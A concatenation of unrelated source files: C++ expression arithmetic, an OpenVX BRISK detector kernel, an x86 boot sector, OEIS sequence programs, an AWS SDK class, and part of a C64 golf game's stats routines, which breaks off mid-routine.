f += ieee_floatt(to_constant_expr(expr));
*this = f.to_expr();
return false;
}
return true;
}
bool exprt::mul(const exprt &expr)
{
if(!is_constant() || !expr.is_constant())
return true;
if(type() != expr.type())
return true;
const irep_idt &type_id = type().id();
if(type_id == "unsignedbv" || type_id == "signedbv")
{
set(
a_value,
integer2binary(
binary2integer(get_string(a_value), false) *
binary2integer(expr.get_string(a_value), false),
atoi(type().width().c_str())));
return false;
}
if(type_id == "fixedbv")
{
fixedbvt f(to_constant_expr(*this));
f *= fixedbvt(to_constant_expr(expr));
*this = f.to_expr();
return false;
}
else if(type_id == "floatbv")
{
ieee_floatt f(to_constant_expr(*this));
f *= ieee_floatt(to_constant_expr(expr));
*this = f.to_expr();
return false;
}
return true;
}
bool exprt::subtract(const exprt &expr)
{
if(!is_constant() || !expr.is_constant())
return true;
if(type() != expr.type())
return true;
const irep_idt &type_id = type().id();
if(type_id == "unsignedbv" || type_id == "signedbv")
{
set(
a_value,
integer2binary(
binary2integer(get_string(a_value), false) -
binary2integer(expr.get_string(a_value), false),
atoi(type().width().c_str())));
return false;
}
if(type_id == "fixedbv")
{
fixedbvt f(to_constant_expr(*this));
f -= fixedbvt(to_constant_expr(expr));
*this = f.to_expr();
return false;
}
else if(type_id == "floatbv")
{
ieee_floatt f(to_constant_expr(*this));
f -= ieee_floatt(to_constant_expr(expr));
*this = f.to_expr();
return false;
}
return true;
}
const locationt &exprt::find_location() const
{
const locationt &l = location();
if(l.is_not_nil())
return l;
forall_operands(it, (*this))
{
const locationt &l = it->find_location();
if(l.is_not_nil())
return l;
}
return static_cast<const locationt &>(get_nil_irep());
}
irep_idt exprt::trans = dstring("trans");
irep_idt exprt::symbol = dstring("symbol");
irep_idt exprt::plus = dstring("+");
irep_idt exprt::minus = dstring("-");
irep_idt exprt::mult = dstring("*");
irep_idt exprt::div = dstring("/");
irep_idt exprt::mod = dstring("mod");
irep_idt exprt::equality = dstring("=");
irep_idt exprt::notequal = dstring("notequal");
irep_idt exprt::index = dstring("index");
irep_idt exprt::arrayof = dstring("array_of");
irep_idt exprt::objdesc = dstring("object_descriptor");
irep_idt exprt::dynobj = dstring("dynamic_object");
irep_idt exprt::typecast = dstring("typecast");
irep_idt exprt::implies = dstring("=>");
irep_idt exprt::i_and = dstring("and");
irep_idt exprt::i_xor = dstring("xor");
irep_idt exprt::i_or = dstring("or");
irep_idt exprt::i_not = dstring("not");
irep_idt exprt::addrof = dstring("address_of");
irep_idt exprt::deref = dstring("dereference");
irep_idt exprt::i_if = dstring("if");
irep_idt exprt::with = dstring("with");
irep_idt exprt::member = dstring("member");
irep_idt exprt::isnan = dstring("isnan");
irep_idt exprt::ieee_floateq = dstring("ieee_float_equal");
irep_idt exprt::i_type = dstring("type");
irep_idt exprt::constant = dstring("constant");
irep_idt exprt::i_true = dstring("true");
irep_idt exprt::i_false = dstring("false");
irep_idt exprt::i_lt = dstring("<");
irep_idt exprt::i_gt = dstring(">");
irep_idt exprt::i_le = dstring("<=");
irep_idt exprt::i_ge = dstring(">=");
irep_idt exprt::i_bitand = dstring("bitand");
irep_idt exprt::i_bitor = dstring("bitor");
irep_idt exprt::i_bitxor = dstring("bitxor");
irep_idt exprt::i_bitnand = dstring("bitnand");
irep_idt exprt::i_bitnor = dstring("bitnor");
irep_idt exprt::i_bitnxor = dstring("bitnxor");
irep_idt exprt::i_bitnot = dstring("bitnot");
irep_idt exprt::i_ashr = dstring("ashr");
irep_idt exprt::i_lshr = dstring("lshr");
irep_idt exprt::i_shl = dstring("shl");
irep_idt exprt::abs = dstring("abs");
irep_idt exprt::argument = dstring("argument");
irep_idt exprt::a_value = dstring("value");
irep_idt exprt::o_operands = dstring("operands");
irep_idt exprt::o_location = dstring("#location");
|
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_2PVS | LEVEL1_YSTART_040
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_12 | LEVEL3_VSCROLL_LOCKLOW
.byte LEVEL4_BGBANK_INDEX(18) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_BATTLE | LEVEL5_TIME_300
.byte $00, $03, $03, $00, $03, $49, $01, $01, $4D, $02, $00, $4F, $03, $00, $4F, $04
.byte $00, $45, $04, $0A, $45, $05, $00, $42, $05, $0D, $42, $06, $00, $40, $06, $0F
.byte $40, $07, $04, $37, $0A, $00, $35, $0A, $0A, $35, $FF
|
/*
Copyright (c) 2015 Advanced Micro Devices, Inc. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include"internal_publishKernels.h"
/*!***********************************************************************************************************
input parameter validator.
param [in] node The handle to the node.
param [in] index The index of the parameter to validate.
*************************************************************************************************************/
static vx_status VX_CALLBACK CV_brisk_detector_InputValidator(vx_node node, vx_uint32 index)
{
vx_status status = VX_SUCCESS ;
vx_parameter param = vxGetParameterByIndex(node, index);
if (index == 0)
{
vx_image image;
vx_df_image df_image = VX_DF_IMAGE_VIRT;
STATUS_ERROR_CHECK(vxQueryParameter(param, VX_PARAMETER_ATTRIBUTE_REF, &image, sizeof(vx_image)));
STATUS_ERROR_CHECK(vxQueryImage(image, VX_IMAGE_ATTRIBUTE_FORMAT, &df_image, sizeof(df_image)));
if (df_image != VX_DF_IMAGE_U8)
status = VX_ERROR_INVALID_VALUE;
vxReleaseImage(&image);
}
if (index == 1)
{
vx_image image;
vx_df_image df_image = VX_DF_IMAGE_VIRT;
STATUS_ERROR_CHECK(vxQueryParameter(param, VX_PARAMETER_ATTRIBUTE_REF, &image, sizeof(vx_image)));
STATUS_ERROR_CHECK(vxQueryImage(image, VX_IMAGE_ATTRIBUTE_FORMAT, &df_image, sizeof(df_image)));
if (df_image != VX_DF_IMAGE_U8)
status = VX_ERROR_INVALID_VALUE;
vxReleaseImage(&image);
}
else if (index == 2)
{
vx_array array; vx_size size = 0;
STATUS_ERROR_CHECK(vxQueryParameter(param, VX_PARAMETER_ATTRIBUTE_REF, &array, sizeof(array)));
STATUS_ERROR_CHECK(vxQueryArray(array, VX_ARRAY_ATTRIBUTE_CAPACITY, &size, sizeof(size)));
vxReleaseArray(&array);
}
else if (index == 3)
{
vx_scalar scalar = 0; vx_enum type = 0; vx_int32 value = 0;
STATUS_ERROR_CHECK(vxQueryParameter(param, VX_PARAMETER_ATTRIBUTE_REF, &scalar, sizeof(scalar)));
STATUS_ERROR_CHECK(vxQueryScalar(scalar, VX_SCALAR_ATTRIBUTE_TYPE, &type, sizeof(type)));
STATUS_ERROR_CHECK(vxReadScalarValue(scalar, &value));
if (value < 0 || type != VX_TYPE_INT32)
status = VX_ERROR_INVALID_VALUE;
vxReleaseScalar(&scalar);
}
else if (index == 4)
{
vx_scalar scalar = 0; vx_enum type = 0; vx_int32 value = 0;
STATUS_ERROR_CHECK(vxQueryParameter(param, VX_PARAMETER_ATTRIBUTE_REF, &scalar, sizeof(scalar)));
STATUS_ERROR_CHECK(vxQueryScalar(scalar, VX_SCALAR_ATTRIBUTE_TYPE, &type, sizeof(type)));
STATUS_ERROR_CHECK(vxReadScalarValue(scalar, &value));
if (value < 0 || type != VX_TYPE_INT32)
status = VX_ERROR_INVALID_VALUE;
vxReleaseScalar(&scalar);
}
else if (index == 5)
{
vx_scalar scalar = 0; vx_enum type = 0; vx_float32 value = 0;
STATUS_ERROR_CHECK(vxQueryParameter(param, VX_PARAMETER_ATTRIBUTE_REF, &scalar, sizeof(scalar)));
STATUS_ERROR_CHECK(vxQueryScalar(scalar, VX_SCALAR_ATTRIBUTE_TYPE, &type, sizeof(type)));
STATUS_ERROR_CHECK(vxReadScalarValue(scalar, &value));
if (value < 0 || type != VX_TYPE_FLOAT32)
status = VX_ERROR_INVALID_VALUE;
vxReleaseScalar(&scalar);
}
vxReleaseParameter(¶m);
return status;
}
/*!***********************************************************************************************************
output parameter validator.
*************************************************************************************************************/
static vx_status VX_CALLBACK CV_brisk_detector_OutputValidator(vx_node node, vx_uint32 index, vx_meta_format meta)
{
vx_status status = VX_SUCCESS ;
if (index == 2)
{
vx_parameter output_param = vxGetParameterByIndex(node, 2);
vx_array output; vx_size size = 0;
STATUS_ERROR_CHECK(vxQueryParameter(output_param, VX_PARAMETER_ATTRIBUTE_REF, &output, sizeof(vx_array)));
STATUS_ERROR_CHECK(vxQueryArray(output, VX_ARRAY_ATTRIBUTE_CAPACITY, &size, sizeof(size)));
if (size <= 0)
status = VX_ERROR_INVALID_VALUE;
vxReleaseArray(&output);
vxReleaseParameter(&output_param);
}
return status;
}
/*!***********************************************************************************************************
Execution Kernel
*************************************************************************************************************/
static vx_status VX_CALLBACK CV_brisk_detector_Kernel(vx_node node, const vx_reference *parameters, vx_uint32 num)
{
vx_status status = VX_SUCCESS;
vx_image image_in = (vx_image) parameters[0];
vx_image mask = (vx_image) parameters[1];
vx_array array = (vx_array) parameters[2];
vx_scalar THRESH = (vx_scalar) parameters[3];
vx_scalar OCTAVES = (vx_scalar) parameters[4];
vx_scalar SCALE = (vx_scalar) parameters[5];
Mat *mat, *mask_mat, Img;
int thresh, octaves;
float patternscale;
vx_float32 FloatValue = 0;
vx_int32 value = 0;
//Extracting Values from the Scalar
STATUS_ERROR_CHECK(vxReadScalarValue(SCALE, &FloatValue));patternscale = FloatValue;
STATUS_ERROR_CHECK(vxReadScalarValue(THRESH, &value));thresh = value;
STATUS_ERROR_CHECK(vxReadScalarValue(OCTAVES, &value));octaves = value;
//Converting VX Image to OpenCV Mat
STATUS_ERROR_CHECK(VX_to_CV_Image(&mat, image_in));
STATUS_ERROR_CHECK(VX_to_CV_Image(&mask_mat, mask));
//Compute using OpenCV
vector<KeyPoint> key_points;
Ptr<Feature2D> brisk = BRISK::create(thresh, octaves, patternscale);
brisk->detect(*mat, key_points, *mask_mat);
//Converting OpenCV Keypoints to OpenVX Keypoints
STATUS_ERROR_CHECK(CV_to_VX_keypoints(key_points, array));
return status;
}
/************************************************************************************************************
Function to Register the Kernel for Publish
*************************************************************************************************************/
vx_status CV_brisk_detect_Register(vx_context context)
{
vx_status status = VX_SUCCESS;
vx_kernel Kernel = vxAddKernel(context,
"org.opencv.brisk_detect",
VX_KERNEL_OPENCV_BRISK_DETECT,
CV_brisk_detector_Kernel,
6,
CV_brisk_detector_InputValidator,
CV_brisk_detector_OutputValidator,
nullptr,
nullptr);
if (Kernel)
{
PARAM_ERROR_CHECK(vxAddParameterToKernel(Kernel, 0, VX_INPUT, VX_TYPE_IMAGE, VX_PARAMETER_STATE_REQUIRED));
PARAM_ERROR_CHECK(vxAddParameterToKernel(Kernel, 1, VX_INPUT, VX_TYPE_IMAGE, VX_PARAMETER_STATE_REQUIRED));
PARAM_ERROR_CHECK(vxAddParameterToKernel(Kernel, 2, VX_BIDIRECTIONAL, VX_TYPE_ARRAY, VX_PARAMETER_STATE_REQUIRED));
PARAM_ERROR_CHECK(vxAddParameterToKernel(Kernel, 3, VX_INPUT, VX_TYPE_SCALAR, VX_PARAMETER_STATE_REQUIRED));
PARAM_ERROR_CHECK(vxAddParameterToKernel(Kernel, 4, VX_INPUT, VX_TYPE_SCALAR, VX_PARAMETER_STATE_REQUIRED));
PARAM_ERROR_CHECK(vxAddParameterToKernel(Kernel, 5, VX_INPUT, VX_TYPE_SCALAR, VX_PARAMETER_STATE_REQUIRED));
PARAM_ERROR_CHECK(vxFinalizeKernel(Kernel));
}
if (status != VX_SUCCESS)
{
exit: vxRemoveKernel(Kernel); return VX_FAILURE;
}
return status;
}
|
; hello-os
ORG 0x7c00 ; 指明程序的装载地址
; 用于标准FAT12格式的软盘
JMP entry ; 跳转指令
NOP ; NOP指令(0x90)
DB "HELLOIPL" ; OEM标识符(8字节)
DW 512 ; 每个扇区(sector)的字节数(必须为512字节)
DB 1 ; 每个簇(cluster)的扇区数(必须为1个扇区)
DW 1 ; FAT的预留扇区数(包含boot扇区)
DB 2 ; FAT表的数量,通常为2
DW 224 ; 根目录文件的最大值(一般设为224项)
DW 2880 ; 磁盘的扇区总数,若为0则代表超过65535个扇区,需要使用20行记录
DB 0xf0 ; 磁盘的种类(本项目中设为0xf0代表1.44MB的软盘)
DW 9 ; 每个FAT的长度(必须为9扇区)
DW 18 ; 1个磁道(track)拥有的扇区数(必须是18)
DW 2 ; 磁头数(必须为2)
DD 0 ; 隐藏的扇区数
DD 2880 ; 大容量扇区总数,若14行记录的值为0则使用本行记录扇区数
DB 0 ; 中断0x13的设备号
DB 0 ; Windows NT标识符
DB 0x29 ; 扩展引导标识
DD 0xffffffff ; 卷序列号
DB "HELLO-OS " ; 卷标(11字节)
DB "FAT12 " ; 文件系统类型(8字节)
RESB 18 ; 空18字节
; 程序核心
entry:
MOV AX, 0 ; 初始化寄存器
MOV SS, AX
MOV SP, 0x7c00
MOV DS, AX
MOV ES, AX
MOV SI, msg
putloop:
MOV AL, [SI]
ADD SI, 1 ; SI加1
CMP AL, 0
JE fin
MOV AH, 0x0e ; 显示一个文字
MOV BX, 15 ; 指定字符颜色
INT 0x10 ; 调用显卡BIOS
JMP putloop
fin:
HLT ; CPU停止,等待指令
JMP fin ; 无限循环
msg:
DB 0x0a, 0x0a ; 两个换行
DB "hello, world"
DB 0x0a ; 换行
DB 0
RESB 0x1fe - ($ - $$) ; 填写0x00,直到0x001fe
DB 0x55, 0xaa
|
; A111942: Column 0 of the matrix logarithm (A111941) of triangle A111940, which shifts columns left and up under matrix inverse; these terms are the result of multiplying the element in row n by n!.
; Submitted by Jon Maiga
; 0,1,-1,1,-2,4,-12,36,-144,576,-2880,14400,-86400,518400,-3628800,25401600,-203212800,1625702400,-14631321600,131681894400,-1316818944000,13168189440000,-144850083840000,1593350922240000,-19120211066880000
mov $3,2
lpb $0
add $1,$2
sub $3,$1
mov $1,$0
sub $0,1
div $1,2
mul $1,$3
mov $2,$3
lpe
mov $0,$2
div $0,2
|
; A057138: Add (n mod 10)*10^(n-1) to the previous term, with a(0) = 0.
; 0,1,21,321,4321,54321,654321,7654321,87654321,987654321,987654321,10987654321,210987654321,3210987654321,43210987654321,543210987654321,6543210987654321,76543210987654321,876543210987654321,9876543210987654321,9876543210987654321,109876543210987654321,2109876543210987654321,32109876543210987654321,432109876543210987654321,5432109876543210987654321,65432109876543210987654321,765432109876543210987654321,8765432109876543210987654321,98765432109876543210987654321,98765432109876543210987654321,1098765432109876543210987654321,21098765432109876543210987654321,321098765432109876543210987654321,4321098765432109876543210987654321,54321098765432109876543210987654321,654321098765432109876543210987654321
lpb $0
mul $1,10
mov $2,$0
sub $0,1
mod $2,10
add $1,$2
lpe
mov $0,$1
|
; A004966: a(n) = ceiling(n*phi^11), where phi is the golden ratio, A001622.
; 0,200,399,598,797,996,1195,1394,1593,1792,1991,2190,2389,2588,2787,2986,3185,3384,3583,3782,3981,4180,4379,4578,4777,4976,5175,5374,5573,5772,5971,6170,6369,6568,6767
mov $1,$0
mov $2,$0
trn $0,1
sub $1,$0
lpb $2
add $1,199
sub $2,1
lpe
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/ssm/model/StartChangeRequestExecutionResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::SSM::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
StartChangeRequestExecutionResult::StartChangeRequestExecutionResult()
{
}
StartChangeRequestExecutionResult::StartChangeRequestExecutionResult(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
*this = result;
}
StartChangeRequestExecutionResult& StartChangeRequestExecutionResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
JsonView jsonValue = result.GetPayload().View();
if(jsonValue.ValueExists("AutomationExecutionId"))
{
m_automationExecutionId = jsonValue.GetString("AutomationExecutionId");
}
return *this;
}
|
#include "../../flame32.asm"
; Tests SLI
lod 1
sli A, 31
|
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
.data
array: db 0,2,4,6,8,10,12,14,16,18,20
.code
mov si,0
mov cx,20
mov ax,0
sumlist:
add al,array[si]
inc si
inc si
loop sumlist
|
#ifndef RAF_RAF_H_
#define RAF_RAF_H_
#include "game/game.hpp"
#include "math/math.hpp"
#include "util.hpp"
#endif // !RAF_RAF_H_
|
; A028901: Map n = Sum c_i 10^i to a(n) = Sum c_i 6^i.
; 0,1,2,3,4,5,6,7,8,9,6,7,8,9,10,11,12,13,14,15,12,13,14,15,16,17,18,19,20,21,18,19,20,21,22,23,24,25,26,27,24,25,26,27,28,29,30,31,32,33,30,31,32,33,34,35,36,37,38,39,36,37,38,39,40,41,42,43,44,45,42,43,44,45
mov $2,$0
div $2,10
mul $2,2
sub $0,$2
sub $0,$2
mov $1,$0
|
; Top-hole Golf
; Copyright 2020-2021 Matthew Clarke
stats_c_BEGIN = *
; *****************
; *** CONSTANTS ***
; *****************
; 'yds','ft'
stats_l_UNITS_TEXT !raw "yds",0,"ft",0
; For 'yds' and 'ft' respectively. Can use 'round_v_must_putt' as an index into
; this table.
stats_l_UNITS_TEXT_OFFSETS !byte 0,4
stats_l_PAR_STR !scr "1-2-3-4-5",0
; I.e. one-past-the-end...
; NOTE: lowest index will be 3.
stats_l_PAR_STR_ENDS = *-3
!byte 5,7,9
; NOTE: measured from start of row (column 0).
stats_l_PAR_HIGHLIGHT_OFFSETS
!byte 5,7,9,11,13
stats_l_STRING_MEM_FINAL_SHOT_OFFSET = *-3
!byte 9,11,13
; Tables for 'balls holed' markers (cf. match play).
stats_l_BALLS_HOLED_PATTERNS
!byte $00,$00,$00, $08,$00,$00, $08,$00,$08
!byte $00,$00,$00, $80,$00,$00, $80,$00,$80
stats_l_BALLS_HOLED_TEAM_OFFSETS !byte 0,9
stats_l_BALLS_HOLED_TOTAL_OFFSETS !byte 0,3,6
stats_l_BALLS_HOLED_MARKERS_ADDR_LO
!byte <gfxs_c_BITMAP_BASE+(73*8),<gfxs_c_BITMAP_BASE+(79*8)
stats_l_BALLS_HOLED_MARKERS_ADDR_HI
!byte >gfxs_c_BITMAP_BASE+(73*8),>gfxs_c_BITMAP_BASE+(79*8)
; *****************
; *** VARIABLES ***
; *****************
stats_v_string_mem !fill 20,0
; When match play, clear these two bytes at the start of each hole.
stats_v_balls_holed !fill 2
; *******************
; ****** MACROS *****
; *******************
; *******************
; *** SUBROUTINES ***
; *******************
!zone {
.HAVE_NON_ZERO = CAMERA0
stats_s_draw_distance
; String will never be > 6 chars, so clear out 7 (?!) and always use this
; as length (for call to font_s_draw_text).
lda #font_c_ASCII_SPACE
ldx #0
-
sta stats_v_string_mem,x
inx
cpx #7
bne -
ldx #10 ; how many?
-
lda #BLACK
sta gfxs_c_DISPLAY_BASE+3*40+1,x
lda #CYAN
sta COLOR_RAM+3*40+1,x
dex
bpl -
; Divide distance (measured in pixels) by correct value to get distance
; in either yards or feet (for when putting).
ldx round_v_current_player
lda players_v_distance_lo,x
sta P0
lda players_v_distance_hi,x
sta P1
lda round_v_must_putt
+branch_if_true +
lda #hole_c_PIXELS_PER_YARD
bne ++
+
lda #hole_c_PIXELS_PER_FOOT
++
sta P2
lda #0
sta P3
jsr maths_div16
; Result of division is in P0-P1. Also where input to following
; routine should go.
; Store this result in case other modules wish to use it (e.g. for
; putting assistant).
lda P0
sta round_v_current_distance_lo
lda P1
sta round_v_current_distance_hi
jsr utils_s_16bit_hex_to_dec
; If putting and very close to the hole, this result may be 0. In which
; case, show the text '<1'.
lda utils_v_dec_digits
ora utils_v_dec_digits+1
ora utils_v_dec_digits+2
bne +
; Distance is less than 1 foot!
; TODO: draw '<1 ft'...
lda #SCR_CODE_LT
sta stats_v_string_mem
lda #SCR_CODE_1
sta stats_v_string_mem+1
ldx #2
jmp .call_draw_routine
+
; X holds column offset.
; Y is index into actual digits (- decrement this!).
ldx #0
stx .HAVE_NON_ZERO
ldy #2
.loop_top
lda utils_v_dec_digits,y
bne .draw_digit
; Draw this '0' only if we've already drawn something.
lda .HAVE_NON_ZERO
+branch_if_true .draw_zero
jmp .next
.draw_digit
sta .HAVE_NON_ZERO
clc
adc #SCR_CODE_0
jmp +
.draw_zero
lda #SCR_CODE_0
+
sta stats_v_string_mem,x
inx
.next
dey
bpl .loop_top
.call_draw_routine
; Save this for later.
stx CAMERA1
; Add the text 'yds' or 'ft', as appropriate.
ldy round_v_must_putt
lda stats_l_UNITS_TEXT_OFFSETS,y
tay
-
lda stats_l_UNITS_TEXT,y
beq .done
sta stats_v_string_mem,x
inx
iny
bne -
.done
lda #<stats_v_string_mem
sta P0
lda #>stats_v_string_mem
sta P1
lda #24 ; row
sta P2
lda #4 ; column
sta P3
lda #7
sta P4
jsr font_s_draw_text
rts
; end sub stats_s_draw_distance
} ; !zone
; **************************************************
!zone {
stats_s_refresh_hole
; Clear string memory to begin with.
ldx #0
; FIXME: code 40 = temporary space.
lda #font_c_ASCII_SPACE ;40
-
sta stats_v_string_mem,x
inx
cpx #15
bne -
; ; End-of-string marker in position #15.
; lda #$ff
; sta stats_string_mem,x
; Prepare colors.
; FIXME: or use a base color table?!
ldx #14
-
lda #GREY1
sta gfxs_c_DISPLAY_BASE+80,x
lda #CYAN
sta COLOR_RAM+80,x
dex
bpl -
; Hole number - either 1 or 2 digits.
ldx round_v_current_hole
inx
stx P0
lda #0
sta P1
jsr utils_s_16bit_hex_to_dec
; Max 2 digits. X will hold either 1 or 2. So decrement X and use that
; as index into digits - put this in slot 0 of string mem. If X is now
; 0 we're done (there was only one digit). Otherwise, put 0th digit into
; slot 1.
dex
lda utils_v_dec_digits,x
clc
adc #SCR_CODE_0
sta stats_v_string_mem+1
cpx #0
beq +
lda utils_v_dec_digits
clc
adc #SCR_CODE_0
sta stats_v_string_mem+2
+
; Par & current shot.
ldx hole_v_par
lda stats_l_PAR_STR_ENDS,x
tax
dex
-
lda stats_l_PAR_STR,x
sta stats_v_string_mem+5,x
dex
bpl -
; Write current shot to string if it's > par.
ldx round_v_current_player
lda players_v_current_shots,x
cmp hole_v_par
bcc .draw
; Add 1 so we have the current shot counting from 1.
+utils_m_inca
sta P0
lda #0
sta P1
jsr utils_s_16bit_hex_to_dec
; Result may be one or two digits. First look up the offset where we're
; going to write the number. (From beginning of 'stats_mem_string'.)
ldy hole_v_par
lda stats_l_STRING_MEM_FINAL_SHOT_OFFSET,y
tay
; Decrement X so it's either 0 (1 digit) or 1 (2 digits).
dex
; Write this digit to the leftmost slot.
lda utils_v_dec_digits,x
clc
adc #SCR_CODE_0
sta stats_v_string_mem,y
; If X is now 0, we're done. Otherwise, write the 0th digit into the
; following slot.
cpx #0
beq .draw
lda utils_v_dec_digits
clc
adc #SCR_CODE_0
sta stats_v_string_mem+1,y
.draw
; Draw this much.
lda #<stats_v_string_mem
sta P0
lda #>stats_v_string_mem
sta P1
lda #16
sta P2
lda #0
sta P3
lda #15
sta P4
jsr font_s_draw_text
; Highlight the current shot.
ldx round_v_current_player
lda players_v_current_shots,x
cmp hole_v_par
bcc .below_or_even
ldx hole_v_par
dex
bne .lookup_slot
.below_or_even
tax
.lookup_slot
lda stats_l_PAR_HIGHLIGHT_OFFSETS,x
tax
lda #WHITE
sta gfxs_c_DISPLAY_BASE+80,x
; Highlight next char as well if in final slot (- may be two digits).
bcc .end
sta gfxs_c_DISPLAY_BASE+81,x
.end
rts
; end sub stats_s_refresh_hole
} ; !zone
; **************************************************
; INPUTS: string in stats_string_mem, terminated with 0.
;!zone {
;.msg !byte 3,8,21,8,18,8,14,13,0,11,255
;stats_draw_message
; lda #<.msg
; sta P0
; lda #>.msg
; sta P1
; lda #(24*8)
; sta P2
; lda #4
; sta P3
; clc
;; jsr txtren_s_draw
; rts
;
;
; ; Find length of string.
; ldx #0
;-
; lda stats_v_string_mem,x
; beq +
; inx
; jmp -
;+
; stx P6
;
; lda #24*8
; sta P2
; lda #4
; sta P3
; lda #<stats_v_string_mem
; sta P0
; lda #>stats_v_string_mem
; sta P1
;
; clc
; jsr dp_s_draw_string
;
; rts
;; end sub stats_draw_message
;} ; !zone
; **************************************************
; Top three rows (=120 cells) of hi-res screen should have the same b/g
; color as the sky. This information is stored in the lower nybble of
; screen RAM.
!zone {
stats_s_clear
lda #CYAN
ldx #(2*40)-1
-
sta gfxs_c_DISPLAY_BASE,x
sta gfxs_c_DISPLAY_BASE+(2*40),x
dex
bpl -
rts
; end sub stats_s_clear
} ; !zone
; **************************************************
!zone {
.holes_to_play_col !byte 0
stats_s_draw_name
jsr stats_s_clear_text_row1
lda shared_v_is_match_play
pha
+branch_if_false +
ldx round_v_current_player
lda shared_v_team_membership,x
tax
bpl ++
+
ldx round_v_current_player
++
lda #1
sta P0
sta P1
jsr sc_s_draw_name_and_score
stx .holes_to_play_col
pla
beq .end
; It's match play, so we must ghost out the team member who isn't currently
; playing (if there are four players).
; Offset is relative to team name. Add length to this to get index
; for 'one-past-end'.
lda shared_v_num_players
cmp #2
beq .draw_holes_to_play
; We want the team member who ISN'T playing! If l.s. bit clear, add 1
; (0 -> 1, or 2 -> 3); otherwise subtract 1 (1 -> 0, or 3 -> 2).
lda round_v_current_player
tax
lsr
bcc .add_one
; So subtract 1.
dex
+skip_1_byte
.add_one
inx
lda shared_v_team_names_offsets_begin,x
tay
clc
adc shared_v_player_name_lens,x
sta MATHS0
lda #LIGHT_BLUE
-
sta gfxs_c_DISPLAY_BASE+41,y
iny
cpy MATHS0
bne -
.draw_holes_to_play
lda .holes_to_play_col
jsr stats_s_draw_holes_to_play
.end
rts
; end sub stats_s_draw_name
} ; !zone
; **************************************************
!zone {
stats_s_clear_text_row1
ldx #39
lda #CYAN
-
sta gfxs_c_DISPLAY_BASE+40,x
sta COLOR_RAM+40,x
dex
bpl -
rts
; end sub stats_s_clear_text_row1
} ; !zone
; **************************************************
; NOTE: this routine is for match play only!
!zone {
.buffer !fill 5
.offsets !byte 0,4
stats_s_draw_current_shots
lda shared_v_is_match_play
+branch_if_true +
; cmp #shared_c_MATCH_PLAY
; beq +
rts ; EXIT POINT.
+
stats_s_draw_current_shots_no_check
; Team0.
lda sc_v_round_scores+2
sta P0
lda #0
sta P1
jsr utils_s_16bit_hex_to_dec
lda utils_v_dec_digits+1
sta .buffer
lda utils_v_dec_digits
sta .buffer+1
; Team1.
lda sc_v_round_scores+3
sta P0
lda #0
sta P1
jsr utils_s_16bit_hex_to_dec
lda utils_v_dec_digits+1
sta .buffer+3
lda utils_v_dec_digits
sta .buffer+4
lda #SCR_CODE_COLON-SCR_CODE_0
sta .buffer+2
; Add 48 to everything to make them PETSCII codes.
ldx #4
-
lda .buffer,x
clc
adc #SCR_CODE_0
sta .buffer,x
dex
bpl -
; And draw buffer to the screen.
lda #<.buffer
sta P0
lda #>.buffer
sta P1
lda #8
sta P2
lda #34*4
sta P3
lda #5
sta P4
jsr font_s_draw_text
; FIXME: just set color to grey for now.
ldx #6
lda #GREY1
-
sta gfxs_c_DISPLAY_BASE+40+33,x
dex
bpl -
; Highlight current team with white.
ldy round_v_current_player
ldx shared_v_team_membership,y
lda .offsets,x
tax
lda #WHITE
sta gfxs_c_DISPLAY_BASE+40+33,x
sta gfxs_c_DISPLAY_BASE+40+34,x
sta gfxs_c_DISPLAY_BASE+40+35,x
rts
; end sub stats_s_draw_current_shots
} ; !zone
; **************************************************
; INPUTS: Y = current player
!zone {
stats_s_inc_current_shots
lda shared_v_scoring
cmp #shared_c_MATCH_PLAY
beq +
rts ; EXIT POINT.
+
ldx shared_v_team_membership,y
inc sc_v_round_scores+2,x
jsr stats_s_draw_current_shots_no_check
rts
; end sub stats_s_inc_current_shots
} ; !zone
; **************************************************
; INPUTS: A = column (chars)
!zone {
; NOTE: use value of shared_v_holes to index this table. We will subtract
; from this the current hole to determine how many holes are remaining.
; (0 = 18, 1 = front 9, 2 = back 9)
.minuends !byte 18,9,18
stats_s_draw_holes_to_play
pha
asl
asl
sta P3
; Put a '/' here.
lda #SCR_CODE_SLASH
sta sc_v_score_str_buffer
; FIXME: we may only be playing nine holes!
; Calculate number of holes still to play, including this one
; (- round_v_current_hole starts at 0).
ldx shared_v_holes
lda .minuends,x
; lda #18
sec
sbc round_v_current_hole
sta P0
lda #0
sta P1
jsr utils_s_16bit_hex_to_dec
; Number of digits is in X - it'll be either 1 or 2.
; If it's 2 digits, leftmost will always be '1'. In any case, we can
; get the ASCII code for the least significant digit (and push it onto
; the stack).
lda utils_v_dec_digits
clc
adc #SCR_CODE_0
cpx #1
bne .two_digits
; So one digit.
sta sc_v_score_str_buffer+1
beq +
.two_digits
sta sc_v_score_str_buffer+2
lda #SCR_CODE_1
